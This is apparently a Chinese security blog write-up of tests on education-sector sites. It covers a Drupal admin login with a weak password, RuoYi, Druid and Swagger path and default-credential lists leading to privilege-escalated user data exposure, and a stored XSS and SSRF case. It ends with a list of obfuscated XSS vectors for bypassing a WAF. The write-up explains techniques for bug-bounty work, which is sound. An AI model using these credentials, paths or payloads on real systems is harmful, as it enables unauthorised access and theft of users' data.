教育系统安全测试：从Drupal弱口令到若依未授权访问实战解析

案例一：利用路径发现与弱口令突破Drupal后台

在一次针对教育系统的资产收集后，笔者发现了一个疑似使用 Drupal 内容管理系统的网站。目标页面的右上角有一个蓝色水滴状图标，这个图标在渗透测试靶场中经常出现，通常意味着可能存在相关的 Nday 漏洞。

为了确认，可以在浏览器的开发者工具中查找这个图标的路径。放大查看其引用地址，可以确认是 Drupal 的默认 favicon 图标。

笔者尝试在互联网上寻找并利用针对该版本的公开漏洞，但并未成功。回想起以往在靶场中的经验，Drupal 的登录界面有时会存在安全问题，于是尝试寻找其登录路径。

通过 Fuzz 或目录扫描，最终找到了隐藏的登录接口 /user/login （该路径通常不会在网站显眼处链接）。

尝试使用极简单的弱口令组合 admin/123456 进行登录，竟然直接成功进入了后台。

获得管理员权限后，笔者再次尝试利用已知的 Drupal Nday 漏洞，但依然没有收获。回过头来分析，这个弱口令之所以没被他人发现，很可能是因为在正常情况下，网站的前端根本没有提供登录入口，导致攻击面被隐藏。本次发现确实包含了一定的运气成分，这也说明了在安全/渗透/逆向测试中，信息搜集的全面性至关重要。

案例二：若依(RuoYi)框架常见漏洞链利用

在另一轮资产收集中，指纹识别显示目标使用了若依（RuoYi）快速开发框架。访问其首页，果然发现了若依的典型登录界面。

系统竟然在登录框中预填了默认用户名 admin，笔者尝试输入一个常见弱口令，成功登录后台。这种情况在针对教育系统的测试中遇到过多次，但多数属于已知重复漏洞。

进入后台后，尝试了多个针对若依的已知历史漏洞，均未生效。此时，思路需要拓宽。在若依的部署环境中，经常伴随着两个“好兄弟”：Druid 监控台和 Swagger API 文档。于是开始对常见路径进行拼接尝试。

常见的 Druid 监控台路径如下：

/druid/login.html
/prod-api/druid/login.html
/dev-api/druid/login.html

除了手工拼接，也可以使用自动化工具进行扫描，例如针对 SpringBoot 的渗透工具 SpringBoot-Scan 就非常好用。

Druid 常见的弱口令有：

• admin/123456
• ruoyi/123456
• druid/druid

尝试后，使用 admin/123456 成功进入了 Druid 监控台。

紧接着，继续拼接 Swagger 的 API 文档路径，常见的路径有：

/prod-api/v2/api-docs
/v2/api-docs
/v1/api-docs
/prod-api/v1/api-docs
/dev-api/v2/api-docs

访问成功后，返回的是 JSON 格式的原始文档，不方便阅读。

此时，可以使用浏览器插件（如 Swagger UI）或在线解析器来美化展示这些 JSON 文档，使其变为可交互的 API 测试界面。

直接尝试调用接口，会返回 401 未授权错误。虽然我们已拥有后台管理员账户，但直接使用其 Cookie 调用 API，不足以证明接口本身存在未授权访问漏洞。更严谨的做法是：在后台创建一个全新的、低权限的测试用户，然后用该测试用户的身份去访问 API，这样更能证明问题的严重性。

使用管理员账户创建一个仅拥有最基本权限的用户。

使用新创建的低权限用户登录系统，从浏览器开发者工具的网络请求中，复制其请求头中的 Authorization: Bearer ... 令牌值。然后回到 Swagger UI 界面，点击 “Authorize” 按钮，将复制的令牌填入进行鉴权。

授权成功后，即可调用那些原本需要权限的 API。例如，调用 “获取用户列表” 接口，结果直接返回了包括管理员在内的所有用户的敏感信息，如明文密码（或加密密码）、手机号等。这构成了一个典型的越权信息泄露漏洞。

后续的其他增删改查接口同理，均可用此低权限用户进行越权操作，不再一一演示。这个案例展示了从弱口令到后台，再到组件发现、API 未授权/越权访问的完整攻击链。

案例三：小程序中的存储型XSS与SSRF测试

在针对高校小程序的测试中，个人信息编辑、头像上传等功能点常是存储型 XSS 的高发区。

直接点击头像上传包含恶意脚本的 HTML 文件，通常会被拦截。一种绕过思路是先上传一张正常图片，然后在后续的修改请求中，将文件后缀或内容类型篡改为 HTML。但在此案例中，上传 HTML 文件后，弹窗被 WAF（Web应用防火墙）拦截了。

尝试使用混淆后的 PoC 进行绕过：

'><"><iframe src=javascript:top[`ale`+`rt`](1)>

将此 PoC 植入到上传的数据包中（例如文件名或某个文本字段）。

上传成功后，当管理员或用户查看该信息时，XSS  payload 成功执行。

除了 XSS，在测试过程中，通过分析历史请求数据包，发现了一个包含 URL 参数的功能点。这立即引发了对于 SSRF（服务器端请求伪造）漏洞的测试想法。尝试将参数中的 URL 替换为 DNSLog 平台的地址。

虽然该处无法用于探测内网，但成功收到了 DNS 查询记录，证明了服务器确实向外部指定地址发起了请求。这类能够触发外部交互的漏洞，在如 EDUSRC 等安全众测平台中，通常可以获得一定的积分。

在遇到上传存储型 XSS 但被 WAF 拦截时，可以尝试替换不同的 Payload 进行绕过。以下是一些可能有效的 XSS 测试向量，可复制到数据包中尝试，成功率相对较高：

<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
<input/%00/autofocus=""/%00/onfocus=.1|alert`XSS`>
<svg/onload=window.location='javas'+'cript:ale'+'rt(1)'>
javascript:window['al'+'ert']('xss')(image_url)
'><"><iframe src=javascript:top[`ale`+`rt`](1)>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4="></iframe>
<iframe src/="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4="></iframe>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">
<dETAILS open onToGgle=a=confirm,a(1) x>()
<img src=x onerror=eval("alet(1)")>
<iframe src=javascript:prompt(1)>
'><"><img/src/onclick=_=alert;_(123)>
<textarea></textarea><script>alert("1")</script></textarea>
</textarea><a onbeforecopy="prompt(1)" contenteditable>test222</a></textarea>
<iframe src="data:text/html;base64,PGEgaHJlZj0iamF2YXNjcmlwdDphbGVydCgxKSI+Q2xpY2sgbWU8L2E+"></iframe>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<object data='data:text/html;base64,PFNDUklQVD5hbGVydCgneHNzJyk7PC9TQ1JJUFQ+' /src>
<details open ontoggle=[43804..toString(36)].some(confirm)>
<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
<form><button formaction=javascript:alert(1)>CLICKME

以上便是几个在教育系统安全测试中遇到的简单案例分享。安全测试是一个需要耐心、细致和不断积累经验的过程，希望这些实战思路能对你有所启发。更多技术讨论与资源，欢迎访问 云栈社区 的安全/渗透/逆向板块进行交流。